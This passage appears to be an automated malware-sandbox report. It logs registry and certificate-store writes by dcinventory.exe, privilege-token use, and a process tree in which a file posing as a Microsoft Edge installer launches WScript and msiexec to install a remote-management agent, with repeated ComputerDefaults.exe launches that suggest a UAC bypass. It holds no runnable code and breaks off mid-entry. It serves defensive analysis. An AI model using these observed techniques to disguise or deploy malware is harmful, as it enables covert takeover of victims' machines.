\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000007f000000010000000c000000300a06082b06010505070303530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c05c0000000100000004000000000800000f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a30b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f0074002000470032000000620000000100000020000000cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f391d00000001000000100000007dc30bc974695560a2f0090a6545556c030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a419000000010000001000000014c3bd3549ee225aece13734ad8ca0b8040000000100000010000000e4a68ac854ac5242460afd72481b2a44090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703087e00000001000000080000000080c82b6886d7012000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob = 5900000001000000100000005200530041002f004d004400320000007e0000000100000008000000000010c51e92d201620000000100000020000000e7685634efacf69ace939a6b255b7b4fabef42935b50a265acb5cb6027e44e7009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030119000000010000001000000091161b894b117ecdc257628db460cc04030000000100000014000000742c3192e607e424eb4549542be1bbc53e6174e21d000000010000001000000027b3517667331ce2c1e74002b5ff2298140000000100000014000000e27f7bd877d5df9e0a3f9eb4cb0e2ea9efdb69770b000000010000004600000056006500720069005300690067006e00200043006c006100730073002000330020005000750062006c006900630020005000720069006d00610072007900200043004100000004000000010000001000000010fc635df6263e0df325be5f79cd67670f0000000100000010000000d7c63be0837dbabf881d4fbf5f986ad853000000010000002400000030223020060a2b0601040182375e010130123010060a2b0601040182373c0101030200c07a000000010000000e000000300c060a2b0601040182375e010268000000010000000800000000003db65bd9d5012000000001000000400200003082023c308201a5021070bae41d10d92934b638ca7b03ccbabf300d06092a864886f70d0101020500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3936303132393030303030305a170d3238303830313233353935395a305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f7269747930819f300d06092a864886f70d010101050003818d0030818902818100c95c599ef21b8a0114b410df0440dbe357af6a45408f840c0bd133d9d911cfee02581f25f72aa84405aaec031f787f9e93b99a00aa237dd6ac85a26345c77227ccf44cc67571d239ef4f42f075df0a90c68e206f980ff8ac235f702936a4c986e7b19a20cb53a585e73dbe7d9afe244533dc7615ed0fa271644c652e816845a70203010001300d06092a864886f70d010102050003818100bb4c122bcf2c26004f1413dda6fbfc0a11848cf3281c67922f7cb6c5fadff0e895bc1d8f6c2ca851cc73d8a4c053f04ed626c076015781925e21f1d1b1ffe7d02158cd6917e3441c9c194439895cdc9c000f568d0299eda290454ce4bb10a43df032030ef1cef8e8c9518ce6629fe69fc07db7729cc9363a6b9f4ea8ff640d64 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C\Blob = 5900000001000000120000004400530041002f0053004800410031000000030000000100000014000000b68d8f953e551914324e557e6164d68b9926650c2000000001000000200300003082031c308202dba003020102020900f5610f0c1a4d426b300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3231303331383138343233375a170d3431303331333138343233375a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012b06072a8648ce3804013082011e02818100dc1911eb3e0ac27a1b8fcf7b95e6192f5ee6a922eca3cc87df88539244fb3d07d10e2fe7570a602726d0e1ed4ad078a1317746a4dc613eb0629fe4e8272b19454aa3ad2d598dc2fa884e001a5fa009ecb4b5ff6d9996610f3b2b3911a41db558608026ca0d439574a106f09c479e58ee6c7d9e93de57cfed8832798e0d6ad5a10215008453f6990ad5473bab4ebb0f46ce52d5a354596502818070de55e09bdc70d46f414acf263fdb2ff0879f0bceed06ea6789a518fe5cfe025374aacead5cf1d27aca1b085c4b0cd4f4561c387d24c904f96af7db6f57a8a9110901b51dc2a2531532ad06ec4096f288e73d651cc1d6140b2932ee4c95ec4bb09d462800de2765606137d04e8ff9ced03b391c89ebc91d119d312f4f4ba88f0381850002818100d920e184f0439cac6f987f511ef4d45b4a6f693c806c55f143558ffab70deb4f1a92a2a6c8c8ac931094c92a0118011b13fb33701a93bb8569bec9323811d8e8b8ba7b060fe5ca557bb980461dbbf9cb863b3cf7259015c22efd0fabbdffa3b19cbc9f6dd469605ab4aa59ad5126eab69f3de5cb3470b9fc4c8a69b7e87a8832a38198308195301d0603551d0e04160414d8201fdaa7f2d1002bf5eda7be5e8e49897208f030530603551d23044c304a8014d8201fdaa7f2d1002bf5eda7be5e8e49897208f0a127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900f5610f0c1a4d426b30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403033000302d021470c61b78deaf41f3cbf42bd3c0f1fd7a5018f1bf0215008399b086c63512f057352a2bf1e6b248d8ab107d dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6\Blob = 5900000001000000120000004400530041002f00530048004100310000000300000001000000140000002c85006a1a028bcc349df23c474724c055fde8b620000000010000001f0300003082031b308202dba003020102020900bea900b78b6470ef300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3136303530393230343035355a170d3231303530383230343035355a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012c06072a8648ce3804013082011f02818100a9a733a14a9c9d68b075811ddf231c514c0cdc328087287fd11f1d6eb125b536b88cd5579591bb6e7545b45b98eaa8cdeb0ae38be4781c7d36d97b3d2bb45b9449142130f68e112c6d09e343160cd0d0fbb8aabc8b0cea5b2066b0e3368589dadfd8ae79e9d2bdc5f5836d8fb278be02c260d3a592bda471f1a28e2f925e8b57021500a86236ce56c046d8f3fac8a6bb63e28543e45753028181009eb2085cfbe32af5a25dddeebdeede0d2f2a4475bbca802c7952e078421b4b85528fff6242aba7c75c1e40695db3be422d982972b638679c1b9314a39cad44577d2a71ee3e5738176062d9200be5efcc1b00c16b1b48e8b1771c01b9aa54ce0b5f6679caed531293d92ef822695e20264e23b188489ea3e6dc1c36a90fa0668903818400028180168cdc3d074cf4c9accef116317b85adf100f2454c9ca23203ad296928bb08879c48096c44bcb0dc3f49f69456e871dd45980eacabe735c63ade0281e7a48aca3eabde71aab64c04a6ef72c352be936692c8970a3c7615370d549b931c289810278f5284914f6965df0d93ce0a980ca5dce26e75a331c4da939af3e051d252d3a38198308195301d0603551d0e04160414a353ea5503cd0a69c45870b6ffe3912091c79f7a30530603551d23044c304a8014a353ea5503cd0a69c45870b6ffe3912091c79f7aa127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900bea900b78b6470ef30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403032f00302c021468e7a7cdfca81ff04d476fa11b781b7696d1fbf402145ef1c64374ebde4c309b59a9deeb99e556fd1477 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\MSIEHistoryJournal dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\Windows Live ID Token Issuer dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5900000001000000120000005200530041002f0053004800410031000000530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a86200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c9090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703082000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB dcagentregister.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5900000001000000120000005200530041002f0053004800410031000000530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c004000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa66200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6205c000000010000000400000000080000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703082000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F43288AD272F3103B6FB1428485EA3014C0BCFE dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E\Blob = 59000000010000001a000000450043004400530041002f005300480041003300380034000000530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0040000000100000010000000f55da450a5fb287e1e0f0dcc965756ca0f000000010000003000000082c80199397722b57ad473ea266b93d47ffc77fe07f09388345f20dab6addd087672f988b4bbfd154c4b133c70c9ecff0b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f007400200047003300000062000000010000002000000031ad6648f8104138c738f39ea4320133393e3a18cc02296ef97c2ac9ef6731d0140000000100000014000000b3db48a4f9a1c5d8ae3641cc1163696229bc4bc61d0000000100000010000000d0ab39edd1a4d89a5512882deb09cb130300000001000000140000007e04de896a3e666d00e687d33ffad93be83d349e190000000100000010000000b009e99a5cfc928a173190106dbb32a95c000000010000000400000080010000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703082000000001000000430200003082023f308201c5a0030201020210055556bcf25ea43535c3a40fd5ab4572300a06082a8648ce3d0403033061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204733301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f742047333076301006072a8648ce3d020106052b8104002203620004dda7d9bb8ab80bfb0b7f21d2f0bebe73f3335d1abc34eadec69bbcd095f6f0ccd00bba615b51467e9e2d9fee8e630c17ec0770f5cf842e40839ce83f416d3badd3a4145936789d0343ee10136c72deae88a7a16bb543ce67dc23ff031ca3e23ea3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414b3db48a4f9a1c5d8ae3641cc1163696229bc4bc6300a06082a8648ce3d0403030368003065023100adbcf26c3f124ad12d39c30a099773f488368c8827bbe6888d5085a763f99e32de66930ff1ccb1098fdd6cabfa6b7fa0023039665bc2648db89e50dca8d549a2edc7dcd1497f1701b8c8868f4e8c882ba89aa98ac5d100bdf854e29ae55b7cb32717 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 dcinventory.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe 952 rundll32.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 952 rundll32.exe Token: SeLoadDriverPrivilege 952 rundll32.exe Token: SeTakeOwnershipPrivilege 952 rundll32.exe Token: SeIncBasePriorityPrivilege 952 rundll32.exe Token: SeTcbPrivilege 952 rundll32.exe Token: SeShutdownPrivilege 3224 msiexec.exe Token: SeIncreaseQuotaPrivilege 3224 msiexec.exe Token: SeSecurityPrivilege 448 msiexec.exe Token: SeCreateTokenPrivilege 3224 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3224 msiexec.exe Token: SeLockMemoryPrivilege 3224 msiexec.exe Token: SeIncreaseQuotaPrivilege 3224 msiexec.exe Token: SeMachineAccountPrivilege 3224 msiexec.exe Token: SeTcbPrivilege 3224 msiexec.exe Token: SeSecurityPrivilege 3224 msiexec.exe Token: SeTakeOwnershipPrivilege 3224 msiexec.exe Token: SeLoadDriverPrivilege 3224 msiexec.exe Token: SeSystemProfilePrivilege 3224 msiexec.exe Token: SeSystemtimePrivilege 3224 msiexec.exe Token: SeProfSingleProcessPrivilege 3224 msiexec.exe Token: SeIncBasePriorityPrivilege 3224 msiexec.exe Token: SeCreatePagefilePrivilege 3224 msiexec.exe Token: SeCreatePermanentPrivilege 3224 msiexec.exe Token: SeBackupPrivilege 3224 msiexec.exe Token: SeRestorePrivilege 3224 msiexec.exe Token: SeShutdownPrivilege 3224 msiexec.exe Token: SeDebugPrivilege 3224 msiexec.exe Token: SeAuditPrivilege 3224 msiexec.exe Token: SeSystemEnvironmentPrivilege 3224 msiexec.exe Token: SeChangeNotifyPrivilege 3224 msiexec.exe Token: SeRemoteShutdownPrivilege 3224 msiexec.exe Token: SeUndockPrivilege 3224 msiexec.exe Token: SeSyncAgentPrivilege 3224 msiexec.exe Token: SeEnableDelegationPrivilege 3224 msiexec.exe Token: SeManageVolumePrivilege 3224 msiexec.exe Token: SeImpersonatePrivilege 3224 msiexec.exe Token: SeCreateGlobalPrivilege 3224 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 448 msiexec.exe Token: SeTakeOwnershipPrivilege 448 msiexec.exe Token: SeRestorePrivilege 3512 7za.exe Token: 35 3512 7za.exe Token: SeSecurityPrivilege 3512 7za.exe Token: SeSecurityPrivilege 3512 7za.exe Token: SeRestorePrivilege 2900 7za.exe Token: 35 2900 7za.exe Token: SeSecurityPrivilege 2900 7za.exe Token: SeSecurityPrivilege 2900 7za.exe Token: SeRestorePrivilege 4724 7za.exe Token: 35 4724 7za.exe Token: SeSecurityPrivilege 4724 7za.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1272 dcusbsummary.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3636 wrote to memory of 952 3636 rundll32.exe 86 PID 952 wrote to memory of 4172 952 rundll32.exe 95 PID 4172 wrote to memory of 60 4172 cmd.exe 97 PID 60 wrote to memory of 3204 60 ComputerDefaults.exe 98 PID 952 wrote to memory of 4360 952 rundll32.exe 105 PID 952 wrote to memory of 4164 952 rundll32.exe 107 PID 4164 wrote to memory of 1440 4164 cmd.exe 109 PID 1440 wrote to memory of 5096 1440 ComputerDefaults.exe 110 PID 952 wrote to memory of 4652 952 rundll32.exe 112 PID 4652 wrote to memory of 2848 4652 MicrosoftEdge_X64_153.0.3157.719.exe 113 PID 2848 wrote to memory of 3224 2848 WScript.exe 114 PID 448 wrote to memory of 1660 448 msiexec.exe 118 PID 448 wrote to memory of 4480 448 msiexec.exe 119 PID 4480 wrote to memory of 3100 4480 dcagentregister.exe 120 PID 3100 wrote to memory of 812 3100 cmd.exe 122 PID 812 wrote to memory of 3044 812 net.exe 123 PID 3100 wrote to memory of 3792 3100 cmd.exe 125 PID 3100 wrote to memory of 3132 3100 cmd.exe 126 PID 3100 wrote to memory of 2568 3100 cmd.exe 127 PID 3100 wrote to memory of 2260 3100 cmd.exe 128 PID 3100 wrote to memory of 4724 3100 cmd.exe 129 PID 952 wrote to memory of 4564 952 rundll32.exe 130 PID 4564 wrote to memory of 2428 4564 cmd.exe 132 PID 2428 wrote to memory of 4176 2428 ComputerDefaults.exe 133 PID 4480 wrote to memory of 4616 4480 dcagentregister.exe 134 PID 4616 wrote to memory of 3512 4616 cmd.exe 136 PID 4480 wrote to memory of 2900 4480 dcagentregister.exe 140 PID 4480 wrote to memory of 4724 4480 dcagentregister.exe 142 PID 4480 wrote to memory of 2460 4480 dcagentregister.exe 144 PID 4480 wrote to memory of 3180 4480 dcagentregister.exe 147 PID 4408 wrote to memory of 4304 4408 dcagentservice.exe 149 PID 4408 wrote to memory of 2008 4408 dcagentservice.exe 152 PID 4408 wrote to memory of 1272 4408 dcagentservice.exe 151 PID 1272 wrote to memory of 5032 1272 dcusbsummary.exe 154 PID 4408 wrote to memory of 1992 4408 dcagentservice.exe 156 PID 4408 wrote to memory of 3512 4408 dcagentservice.exe 158 PID 4408 wrote to memory of 4320 4408 dcagentservice.exe 159 PID 4408 wrote to memory of 4368 4408 dcagentservice.exe 162 PID 4480 wrote to memory of 4216 4480 dcagentregister.exe 164 PID 4408 wrote to memory of 1020 4408 dcagentservice.exe 165 PID 1020 wrote to memory of 860 1020 dcconfig.exe 167 PID 4216 wrote to memory of 456 4216 dcagentregister.exe 169 PID 4216 wrote to memory of 3948 4216 dcagentregister.exe 170 PID 3948 wrote to memory of 2324 3948 cmd.exe 173 PID 3180 wrote to memory of 4400 3180 dcinventory.exe 175 PID 4208 wrote 